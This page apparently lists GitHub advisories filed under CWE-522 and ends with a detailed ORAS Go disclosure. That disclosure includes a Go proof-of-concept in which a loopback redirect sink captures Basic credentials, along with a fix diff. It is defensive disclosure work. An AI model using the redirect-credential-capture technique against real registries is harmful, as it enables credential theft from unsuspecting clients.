CWE-522
Allowed-with-ReviewInsufficiently Protected Credentials
Abstraction: Class · Status: Incomplete
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
1811 vulnerabilities reference this CWE, most recent first.
GHSA-VF4C-CMQM-2C6V
Vulnerability from github – Published: 2022-05-13 01:14 – Updated: 2022-05-13 01:14Users with Site-level permissions can access files containing the username-encrypted passwords of Security Console Global Administrators and clear-text passwords for restoring backups, as well as the salt for those passwords. Valid credentials are required to access these files and malicious users would still need to perform additional work to decrypt the credentials and escalate privileges. This issue affects: Rapid7 InsightVM versions 6.5.11 through 6.5.49.
{
"affected": [],
"aliases": [
"CVE-2019-5615"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-04-09T16:29:00Z",
"severity": "MODERATE"
},
"details": "Users with Site-level permissions can access files containing the username-encrypted passwords of Security Console Global Administrators and clear-text passwords for restoring backups, as well as the salt for those passwords. Valid credentials are required to access these files and malicious users would still need to perform additional work to decrypt the credentials and escalate privileges. This issue affects: Rapid7 InsightVM versions 6.5.11 through 6.5.49.",
"id": "GHSA-vf4c-cmqm-2c6v",
"modified": "2022-05-13T01:14:31Z",
"published": "2022-05-13T01:14:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-5615"
},
{
"type": "WEB",
"url": "https://help.rapid7.com/insightvm/en-us/release-notes/#6.5.50"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VFFP-XX76-RFQC
Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2022-05-24 17:41An issue was discovered in Epikur before 20.1.1. It stores the secret passwords of the users as MD5 hashes in the database. MD5 can be brute-forced efficiently and should not be used for such purposes. Additionally, since no salt is used, rainbow tables can speed up the attack.
{
"affected": [],
"aliases": [
"CVE-2020-10538"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-05T14:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Epikur before 20.1.1. It stores the secret passwords of the users as MD5 hashes in the database. MD5 can be brute-forced efficiently and should not be used for such purposes. Additionally, since no salt is used, rainbow tables can speed up the attack.",
"id": "GHSA-vffp-xx76-rfqc",
"modified": "2022-05-24T17:41:09Z",
"published": "2022-05-24T17:41:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-10538"
},
{
"type": "WEB",
"url": "https://www.x41-dsec.de/lab/advisories/x41-2020-003-epikur"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-VFG9-HGRQ-RJHQ
Vulnerability from github – Published: 2024-06-10 18:31 – Updated: 2024-07-05 18:34GitHub access token could be exposed to third-party sites in JetBrains IDEs after version 2023.1 and less than: IntelliJ IDEA 2023.1.7, 2023.2.7, 2023.3.7, 2024.1.3, 2024.2 EAP3; Aqua 2024.1.2; CLion 2023.1.7, 2023.2.4, 2023.3.5, 2024.1.3, 2024.2 EAP2; DataGrip 2023.1.3, 2023.2.4, 2023.3.5, 2024.1.4; DataSpell 2023.1.6, 2023.2.7, 2023.3.6, 2024.1.2, 2024.2 EAP1; GoLand 2023.1.6, 2023.2.7, 2023.3.7, 2024.1.3, 2024.2 EAP3; MPS 2023.2.1, 2023.3.1, 2024.1 EAP2; PhpStorm 2023.1.6, 2023.2.6, 2023.3.7, 2024.1.3, 2024.2 EAP3; PyCharm 2023.1.6, 2023.2.7, 2023.3.6, 2024.1.3, 2024.2 EAP2; Rider 2023.1.7, 2023.2.5, 2023.3.6, 2024.1.3; RubyMine 2023.1.7, 2023.2.7, 2023.3.7, 2024.1.3, 2024.2 EAP4; RustRover 2024.1.1; WebStorm 2023.1.6, 2023.2.7, 2023.3.7, 2024.1.4
{
"affected": [],
"aliases": [
"CVE-2024-37051"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-10T16:15:16Z",
"severity": "CRITICAL"
},
"details": "GitHub access token could be exposed to third-party sites in JetBrains IDEs after version 2023.1 and less than: IntelliJ IDEA 2023.1.7, 2023.2.7, 2023.3.7, 2024.1.3, 2024.2 EAP3; Aqua 2024.1.2; CLion 2023.1.7, 2023.2.4, 2023.3.5, 2024.1.3, 2024.2 EAP2; DataGrip 2023.1.3, 2023.2.4, 2023.3.5, 2024.1.4; DataSpell 2023.1.6, 2023.2.7, 2023.3.6, 2024.1.2, 2024.2 EAP1; GoLand 2023.1.6, 2023.2.7, 2023.3.7, 2024.1.3, 2024.2 EAP3; MPS 2023.2.1, 2023.3.1, 2024.1 EAP2; PhpStorm 2023.1.6, 2023.2.6, 2023.3.7, 2024.1.3, 2024.2 EAP3; PyCharm 2023.1.6, 2023.2.7, 2023.3.6, 2024.1.3, 2024.2 EAP2; Rider 2023.1.7, 2023.2.5, 2023.3.6, 2024.1.3; RubyMine 2023.1.7, 2023.2.7, 2023.3.7, 2024.1.3, 2024.2 EAP4; RustRover 2024.1.1; WebStorm 2023.1.6, 2023.2.7, 2023.3.7, 2024.1.4",
"id": "GHSA-vfg9-hgrq-rjhq",
"modified": "2024-07-05T18:34:13Z",
"published": "2024-06-10T18:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37051"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240705-0004"
},
{
"type": "WEB",
"url": "https://www.jetbrains.com/privacy-security/issues-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VFHW-75MR-PG52
Vulnerability from github – Published: 2022-05-24 16:56 – Updated: 2022-05-24 16:56An issue was discovered in Grafana 5.4.0. Passwords for data sources used by Grafana (e.g., MySQL) are not encrypted. An admin user can reveal passwords for any data source by pressing the "Save and test" button within a data source's settings menu. When watching the transaction with Burp Proxy, the password for the data source is revealed and sent to the server. From a browser, a prompt to save the credentials is generated, and the password can be revealed by simply checking the "Show password" box.
{
"affected": [],
"aliases": [
"CVE-2019-15635"
],
"database_specific": {
"cwe_ids": [
"CWE-319",
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-09-23T17:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Grafana 5.4.0. Passwords for data sources used by Grafana (e.g., MySQL) are not encrypted. An admin user can reveal passwords for any data source by pressing the \"Save and test\" button within a data source\u0027s settings menu. When watching the transaction with Burp Proxy, the password for the data source is revealed and sent to the server. From a browser, a prompt to save the credentials is generated, and the password can be revealed by simply checking the \"Show password\" box.",
"id": "GHSA-vfhw-75mr-pg52",
"modified": "2022-05-24T16:56:40Z",
"published": "2022-05-24T16:56:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15635"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/167244"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20191009-0002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VFPJ-RCWJ-86VM
Vulnerability from github – Published: 2022-05-24 17:25 – Updated: 2022-05-24 17:25An issue was discovered in certain configurations of GNOME gnome-shell through 3.36.4. When logging out of an account, the password box from the login dialog reappears with the password still visible. If the user had decided to have the password shown in cleartext at login time, it is then visible for a brief moment upon a logout. (If the password were never shown in cleartext, only the password length is revealed.)
{
"affected": [],
"aliases": [
"CVE-2020-17489"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-08-11T21:15:00Z",
"severity": "LOW"
},
"details": "An issue was discovered in certain configurations of GNOME gnome-shell through 3.36.4. When logging out of an account, the password box from the login dialog reappears with the password still visible. If the user had decided to have the password shown in cleartext at login time, it is then visible for a brief moment upon a logout. (If the password were never shown in cleartext, only the password length is revealed.)",
"id": "GHSA-vfpj-rcwj-86vm",
"modified": "2022-05-24T17:25:20Z",
"published": "2022-05-24T17:25:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-17489"
},
{
"type": "WEB",
"url": "https://gitlab.gnome.org/GNOME/gnome-shell/-/issues/2997"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/09/msg00014.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202009-08"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4464-1"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-11/msg00028.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-VFQ4-W7V4-7PF6
Vulnerability from github – Published: 2025-11-07 00:30 – Updated: 2025-11-07 00:30The Ubia camera ecosystem fails to adequately secure API credentials, potentially enabling an attacker to connect to backend services. The attacker would then be able to gain unauthorized access to available cameras, enabling the viewing of live feeds or modification of settings.
{
"affected": [],
"aliases": [
"CVE-2025-12636"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-06T23:15:35Z",
"severity": "HIGH"
},
"details": "The Ubia camera ecosystem fails to adequately secure API credentials, \npotentially enabling an attacker to connect to backend services. The \nattacker would then be able to gain unauthorized access to available \ncameras, enabling the viewing of live feeds or modification of settings.",
"id": "GHSA-vfq4-w7v4-7pf6",
"modified": "2025-11-07T00:30:31Z",
"published": "2025-11-07T00:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12636"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-310-02.json"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-310-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VFWW-2927-4QJ3
Vulnerability from github – Published: 2022-05-13 01:53 – Updated: 2022-05-13 01:53An issue was discovered on Eaton UPS 9PX 8000 SP devices. The appliance discloses the user's password. The web page displayed by the appliance contains the password in cleartext. Passwords could be retrieved by browsing the source code of the webpage.
{
"affected": [],
"aliases": [
"CVE-2018-9279"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-24T21:29:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered on Eaton UPS 9PX 8000 SP devices. The appliance discloses the user\u0027s password. The web page displayed by the appliance contains the password in cleartext. Passwords could be retrieved by browsing the source code of the webpage.",
"id": "GHSA-vfww-2927-4qj3",
"modified": "2022-05-13T01:53:54Z",
"published": "2022-05-13T01:53:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-9279"
},
{
"type": "WEB",
"url": "https://www.bishopfox.com/news/2018/10/eaton-ups-9px-8000-sp-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VG9R-2V55-894R
Vulnerability from github – Published: 2026-03-25 21:30 – Updated: 2026-03-25 21:30IBM InfoSphere Information Server 11.7.0.0 through 11.7.1.6 could allow an attacker to obtain sensitive information due to insufficiently protected credentials.
{
"affected": [],
"aliases": [
"CVE-2025-14790"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-25T20:16:22Z",
"severity": "MODERATE"
},
"details": "IBM InfoSphere Information Server 11.7.0.0 through 11.7.1.6 could allow an attacker to obtain sensitive information due to insufficiently protected credentials.",
"id": "GHSA-vg9r-2v55-894r",
"modified": "2026-03-25T21:30:35Z",
"published": "2026-03-25T21:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14790"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7266688"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VGGC-4GWQ-RQ7X
Vulnerability from github – Published: 2022-05-24 19:09 – Updated: 2022-05-24 19:09Ypsomed mylife Cloud, mylife Mobile Application:Ypsomed mylife Cloud,All versions prior to 1.7.2,Ypsomed mylife App,All versions prior to 1.7.5,The Ypsomed mylife Cloud discloses password hashes during the registration process.
{
"affected": [],
"aliases": [
"CVE-2021-27491"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-30T22:15:00Z",
"severity": "HIGH"
},
"details": "Ypsomed mylife Cloud, mylife Mobile Application:Ypsomed mylife Cloud,All versions prior to 1.7.2,Ypsomed mylife App,All versions prior to 1.7.5,The Ypsomed mylife Cloud discloses password hashes during the registration process.",
"id": "GHSA-vggc-4gwq-rq7x",
"modified": "2022-05-24T19:09:28Z",
"published": "2022-05-24T19:09:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27491"
},
{
"type": "WEB",
"url": "https://us-cert.cisa.gov/ics/advisories/icsma-21-196-01"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-VH4V-2XQ2-G5CG
Vulnerability from github – Published: 2026-07-01 21:54 – Updated: 2026-07-01 21:54ORAS Go forwards registry credentials across registry redirects
Reporter / public credit: JUNYI LIU
Summary
ORAS Go can forward registry credentials configured for one registry origin to a different HTTP origin during registry redirects.
There are two related paths:
- A manifest or metadata request authenticates to the origin registry, then the origin returns a redirect to another host or port. The redirected request can carry the origin
Authorizationheader to the redirect target. - A blob upload
POSTauthenticates to the origin registry, then the origin returns an uploadLocationon another host or port. The follow-upPUTcan carry the originAuthorizationheader to theLocationtarget.
The upload Location issue appears related to the existing public fix in pull request #1152 / GHSA-jxpm-75mh-9fp7. The manifest redirect path is a residual adjacent route: the v2 branch after the upload Location fix still forwards Basic credentials on an authenticated manifest redirect.
Impact
A registry response can cause an ORAS Go or ORAS CLI client to send configured registry credentials to an unintended endpoint. In common workflows, those credentials may come from a registry config / Docker-style auth file rather than command-line flags.
This is a credential exposure across the registry-origin boundary. I am not claiming remote code execution, registry compromise, arbitrary token theft, or live third-party impact.
Affected Versions Tested
oras-go v2.6.0: affected.oras-gomain at commita57383e580c8f2c97fb67dedfc5c9945c8c3614e: affected.oras-gov2 branch at commitd593d504779be8b69f0ba034ac9fd407d1fc8cfc: uploadLocationpath is blocked, but manifest redirect credential forwarding is still affected.- ORAS CLI at commit
3d2646279c70ba60415440e44c2ff97896e4a209, usingoras-go v2.6.0: affected when using--registry-config.
Security Invariant
Credentials resolved for one registry origin should not be silently forwarded to a different origin reached through a registry redirect or upload Location response.
Local Reproduction Overview
All testing used loopback servers and fake credentials only.
Manifest redirect flow:
- The client requests a manifest from the origin registry.
- The origin returns
401with a Basic challenge. - The client retries the origin request with the origin credential.
- The origin returns
307to another port on the same hostname. - The redirect sink receives the origin
Authorizationheader.
ORAS CLI stored-credential flow:
- A temporary registry config contains a fake Basic credential for the origin registry only.
- Run:
oras manifest fetch --plain-http --registry-config <config> <origin>/probe:latest
- The origin authenticates the request and redirects it to another port.
- The redirect sink receives the origin
Authorizationheader.
Blob upload Location flow:
- The client starts a blob upload with
POSTto the origin registry. - The origin challenges with Basic and then accepts the authenticated
POST. - The origin returns an upload
LocationURL on another port. - In affected versions, the follow-up
PUTto theLocationtarget carries the originAuthorizationheader.
Expected Result
Redirect and upload Location targets on a different HTTP origin should not receive the origin Authorization header.
Observed Result
In affected versions, redirect or Location sinks received:
Authorization: Basic <base64 origin_user:origin_pass>
Standalone Reproducer
package main
import (
"context"
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"os"
"sync"
"github.com/opencontainers/go-digest"
"github.com/oras-project/oras-go/v3/registry/remote"
"github.com/oras-project/oras-go/v3/registry/remote/auth"
"github.com/oras-project/oras-go/v3/registry/remote/credentials"
)
type hit struct {
Method string `json:"method"`
Path string `json:"path"`
Host string `json:"host"`
Auth string `json:"auth,omitempty"`
}
func main() {
const username = "origin_user"
const password = "origin_pass"
const expectedAuth = "Basic b3JpZ2luX3VzZXI6b3JpZ2luX3Bhc3M="
var mu sync.Mutex
var originHits, sinkHits []hit
record := func(dst *[]hit, r *http.Request) {
mu.Lock()
defer mu.Unlock()
*dst = append(*dst, hit{
Method: r.Method,
Path: r.URL.RequestURI(),
Host: r.Host,
Auth: r.Header.Get("Authorization"),
})
}
manifest := []byte(`{"schemaVersion":2,"mediaType":"application/vnd.oci.image.manifest.v1+json","config":{"mediaType":"application/vnd.unknown.config.v1+json","digest":"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","size":2},"layers":[]}`)
manifestDigest := digest.FromBytes(manifest).String()
sink := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
record(&sinkHits, r)
if r.Header.Get("Authorization") != expectedAuth {
w.Header().Set("Www-Authenticate", `Basic realm="redirect-sink"`)
w.WriteHeader(http.StatusUnauthorized)
return
}
w.Header().Set("Content-Type", "application/vnd.oci.image.manifest.v1+json")
w.Header().Set("Docker-Content-Digest", manifestDigest)
w.Header().Set("Content-Length", fmt.Sprint(len(manifest)))
_, _ = w.Write(manifest)
}))
defer sink.Close()
origin := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
record(&originHits, r)
if r.Header.Get("Authorization") != expectedAuth {
w.Header().Set("Www-Authenticate", `Basic realm="origin"`)
w.WriteHeader(http.StatusUnauthorized)
return
}
http.Redirect(w, r, sink.URL+r.URL.RequestURI(), http.StatusTemporaryRedirect)
}))
defer origin.Close()
repo, err := remote.NewRepository(origin.Listener.Addr().String() + "/probe")
if err != nil {
panic(err)
}
repo.PlainHTTP = true
repo.Client = &auth.Client{
Client: origin.Client(),
CredentialFunc: credentials.StaticCredentialFunc(origin.Listener.Addr().String(), credentials.Credential{
Username: username,
Password: password,
}),
}
_, _, err = repo.Manifests().FetchReference(context.Background(), "latest")
leaked := false
for _, h := range sinkHits {
if h.Auth == expectedAuth {
leaked = true
}
}
result := map[string]any{
"origin_hits": originHits,
"sink_hits": sinkHits,
"error": "",
"leaked": leaked,
}
if err != nil {
result["error"] = err.Error()
}
encoded, _ := json.MarshalIndent(result, "", " ")
fmt.Println(string(encoded))
if leaked {
fmt.Println("VULNERABLE_BEHAVIOR_CONFIRMED")
return
}
fmt.Println("BOUNDARY_HELD_NO_CREDENTIAL_LEAK")
os.Exit(1)
}
Candidate Fix
The candidate fix does two things:
- In the auth client, wrap redirect handling so
Authorizationis removed when a redirect changes HTTP origin, while preserving any caller-providedCheckRedirectcallback. - In blob upload completion, only reuse the previous
POSTAuthorizationheader when the uploadLocationremains on the same HTTP origin.
The patch also adds regression coverage for both redirect cases:
- redirect before origin authentication reaches a different origin;
- redirect after origin authentication reaches a different origin.
diff --git a/registry/remote/auth/client.go b/registry/remote/auth/client.go
index 35826eb..60c9f88 100644
--- a/registry/remote/auth/client.go
+++ b/registry/remote/auth/client.go
@@ -122,7 +122,23 @@ func (c *Client) send(req *http.Request) (*http.Response, error) {
for key, values := range c.Header {
req.Header[key] = append(req.Header[key], values...)
}
- return c.client().Do(req)
+ client := c.client()
+ clientCopy := *client
+ checkRedirect := client.CheckRedirect
+ clientCopy.CheckRedirect = func(redirectReq *http.Request, via []*http.Request) error {
+ if len(via) > 0 && !sameHTTPOrigin(via[len(via)-1].URL, redirectReq.URL) {
+ redirectReq.Header.Del(headerAuthorization)
+ }
+ if checkRedirect != nil {
+ return checkRedirect(redirectReq, via)
+ }
+ return nil
+ }
+ return clientCopy.Do(req)
+}
+
+func sameHTTPOrigin(a, b *url.URL) bool {
+ return strings.EqualFold(a.Scheme, b.Scheme) && strings.EqualFold(a.Host, b.Host)
}
// credential resolves the credential for the given registry.
@@ -168,6 +184,9 @@ func (c *Client) Do(originalReq *http.Request) (*http.Response, error) {
var attemptedKey string
cache := c.cache()
host := originalReq.Host
+ if host == "" {
+ host = originalReq.URL.Host
+ }
scheme, err := cache.GetScheme(ctx, host)
if err == nil {
switch scheme {
@@ -193,6 +212,13 @@ func (c *Client) Do(originalReq *http.Request) (*http.Response, error) {
if resp.StatusCode != http.StatusUnauthorized {
return resp, nil
}
+ respHost := resp.Request.Host
+ if respHost == "" {
+ respHost = resp.Request.URL.Host
+ }
+ if respHost != host {
+ return resp, nil
+ }
// attempt again with credentials for recognized schemes
challenge := resp.Header.Get(headerWWWAuthenticate)
diff --git a/registry/remote/repository.go b/registry/remote/repository.go
index 74d6b89..0bd20ec 100644
--- a/registry/remote/repository.go
+++ b/registry/remote/repository.go
@@ -982,6 +983,7 @@ func (s *blobStore) Push(ctx context.Context, expected ocispec.Descriptor, conte
// Push or by Mount when the receiving repository does not implement the
// mount endpoint.
func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.Request, resp *http.Response, expected ocispec.Descriptor, content io.Reader) error {
+ originalURL := req.URL
reqHostname := req.URL.Hostname()
reqPort := req.URL.Port()
// monolithic upload
@@ -1016,8 +1018,9 @@ func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.
q.Set("digest", expected.Digest.String())
req.URL.RawQuery = q.Encode()
- // reuse credential from previous POST request
- if auth := resp.Request.Header.Get("Authorization"); auth != "" {
+ // reuse credential from previous POST request only when the upload location
+ // remains on the same origin.
+ if auth := resp.Request.Header.Get("Authorization"); auth != "" && sameHTTPOrigin(originalURL, location) {
req.Header.Set("Authorization", auth)
}
resp, err = s.repo.do(req)
@@ -1032,6 +1035,10 @@ func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.
return nil
}
+func sameHTTPOrigin(a, b *url.URL) bool {
+ return strings.EqualFold(a.Scheme, b.Scheme) && strings.EqualFold(a.Host, b.Host)
+}
+
// Exists returns true if the described content exists.
func (s *blobStore) Exists(ctx context.Context, target ocispec.Descriptor) (bool, error) {
if err := s.repo.checkPolicy(ctx, ""); err != nil {
Validation Performed
The repaired candidate fix blocked:
- manifest redirect credential forwarding;
- upload
Locationcredential forwarding.
Targeted tests passed:
go test ./registry/remote/auth -run 'TestClient_Do_Basic_Auth_Redirect|TestClient_Do' -count=1
go test ./registry/remote -run 'Test_BlobStore_Push|TestRepository' -count=1
Prior Art / Duplicate Notes
Public pull request #1152 fixes credential forwarding via unvalidated blob upload Location and references GHSA-jxpm-75mh-9fp7. The residual manifest redirect path described here is adjacent but not covered by that PR's stated upload Location scope.
Bearer realm credential exfiltration appears to be a separate issue family and is not part of this report's primary claim.
Claim Boundaries
Proven:
- Origin registry Basic credentials can reach a different redirect or upload
Locationorigin in local loopback tests. - ORAS CLI stored registry credentials can reach a redirect sink in a normal manifest fetch workflow.
- The candidate fix blocks the tested redirect and upload
Locationcredential exposures.
Not claimed:
- Live third-party exploitation.
- RCE, host compromise, or registry compromise.
- Arbitrary-host exposure beyond the tested redirect/
Locationorigin transitions. - Bearer realm behavior as part of the same claim.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "oras.land/oras-go/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-01T21:54:06Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# ORAS Go forwards registry credentials across registry redirects\n\nReporter / public credit: JUNYI LIU\n\n## Summary\n\nORAS Go can forward registry credentials configured for one registry origin to a different HTTP origin during registry redirects.\n\nThere are two related paths:\n\n1. A manifest or metadata request authenticates to the origin registry, then the origin returns a redirect to another host or port. The redirected request can carry the origin `Authorization` header to the redirect target.\n2. A blob upload `POST` authenticates to the origin registry, then the origin returns an upload `Location` on another host or port. The follow-up `PUT` can carry the origin `Authorization` header to the `Location` target.\n\nThe upload `Location` issue appears related to the existing public fix in pull request #1152 / GHSA-jxpm-75mh-9fp7. The manifest redirect path is a residual adjacent route: the v2 branch after the upload `Location` fix still forwards Basic credentials on an authenticated manifest redirect.\n\n## Impact\n\nA registry response can cause an ORAS Go or ORAS CLI client to send configured registry credentials to an unintended endpoint. In common workflows, those credentials may come from a registry config / Docker-style auth file rather than command-line flags.\n\nThis is a credential exposure across the registry-origin boundary. I am not claiming remote code execution, registry compromise, arbitrary token theft, or live third-party impact.\n\n## Affected Versions Tested\n\n- `oras-go v2.6.0`: affected.\n- `oras-go` main at commit `a57383e580c8f2c97fb67dedfc5c9945c8c3614e`: affected.\n- `oras-go` v2 branch at commit `d593d504779be8b69f0ba034ac9fd407d1fc8cfc`: upload `Location` path is blocked, but manifest redirect credential forwarding is still affected.\n- ORAS CLI at commit `3d2646279c70ba60415440e44c2ff97896e4a209`, using `oras-go v2.6.0`: affected when using `--registry-config`.\n\n## Security Invariant\n\nCredentials resolved for one registry origin should not be silently forwarded to a different origin reached through a registry redirect or upload `Location` response.\n\n## Local Reproduction Overview\n\nAll testing used loopback servers and fake credentials only.\n\nManifest redirect flow:\n\n1. The client requests a manifest from the origin registry.\n2. The origin returns `401` with a Basic challenge.\n3. The client retries the origin request with the origin credential.\n4. The origin returns `307` to another port on the same hostname.\n5. The redirect sink receives the origin `Authorization` header.\n\nORAS CLI stored-credential flow:\n\n1. A temporary registry config contains a fake Basic credential for the origin registry only.\n2. Run:\n\n```sh\noras manifest fetch --plain-http --registry-config \u003cconfig\u003e \u003corigin\u003e/probe:latest\n```\n\n3. The origin authenticates the request and redirects it to another port.\n4. The redirect sink receives the origin `Authorization` header.\n\nBlob upload `Location` flow:\n\n1. The client starts a blob upload with `POST` to the origin registry.\n2. The origin challenges with Basic and then accepts the authenticated `POST`.\n3. The origin returns an upload `Location` URL on another port.\n4. In affected versions, the follow-up `PUT` to the `Location` target carries the origin `Authorization` header.\n\n## Expected Result\n\nRedirect and upload `Location` targets on a different HTTP origin should not receive the origin `Authorization` header.\n\n## Observed Result\n\nIn affected versions, redirect or `Location` sinks received:\n\n```http\nAuthorization: Basic \u003cbase64 origin_user:origin_pass\u003e\n```\n\n## Standalone Reproducer\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"sync\"\n\n\t\"github.com/opencontainers/go-digest\"\n\t\"github.com/oras-project/oras-go/v3/registry/remote\"\n\t\"github.com/oras-project/oras-go/v3/registry/remote/auth\"\n\t\"github.com/oras-project/oras-go/v3/registry/remote/credentials\"\n)\n\ntype hit struct {\n\tMethod string `json:\"method\"`\n\tPath string `json:\"path\"`\n\tHost string `json:\"host\"`\n\tAuth string `json:\"auth,omitempty\"`\n}\n\nfunc main() {\n\tconst username = \"origin_user\"\n\tconst password = \"origin_pass\"\n\tconst expectedAuth = \"Basic b3JpZ2luX3VzZXI6b3JpZ2luX3Bhc3M=\"\n\tvar mu sync.Mutex\n\tvar originHits, sinkHits []hit\n\n\trecord := func(dst *[]hit, r *http.Request) {\n\t\tmu.Lock()\n\t\tdefer mu.Unlock()\n\t\t*dst = append(*dst, hit{\n\t\t\tMethod: r.Method,\n\t\t\tPath: r.URL.RequestURI(),\n\t\t\tHost: r.Host,\n\t\t\tAuth: r.Header.Get(\"Authorization\"),\n\t\t})\n\t}\n\n\tmanifest := []byte(`{\"schemaVersion\":2,\"mediaType\":\"application/vnd.oci.image.manifest.v1+json\",\"config\":{\"mediaType\":\"application/vnd.unknown.config.v1+json\",\"digest\":\"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a\",\"size\":2},\"layers\":[]}`)\n\tmanifestDigest := digest.FromBytes(manifest).String()\n\n\tsink := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\trecord(\u0026sinkHits, r)\n\t\tif r.Header.Get(\"Authorization\") != expectedAuth {\n\t\t\tw.Header().Set(\"Www-Authenticate\", `Basic realm=\"redirect-sink\"`)\n\t\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\t\treturn\n\t\t}\n\t\tw.Header().Set(\"Content-Type\", \"application/vnd.oci.image.manifest.v1+json\")\n\t\tw.Header().Set(\"Docker-Content-Digest\", manifestDigest)\n\t\tw.Header().Set(\"Content-Length\", 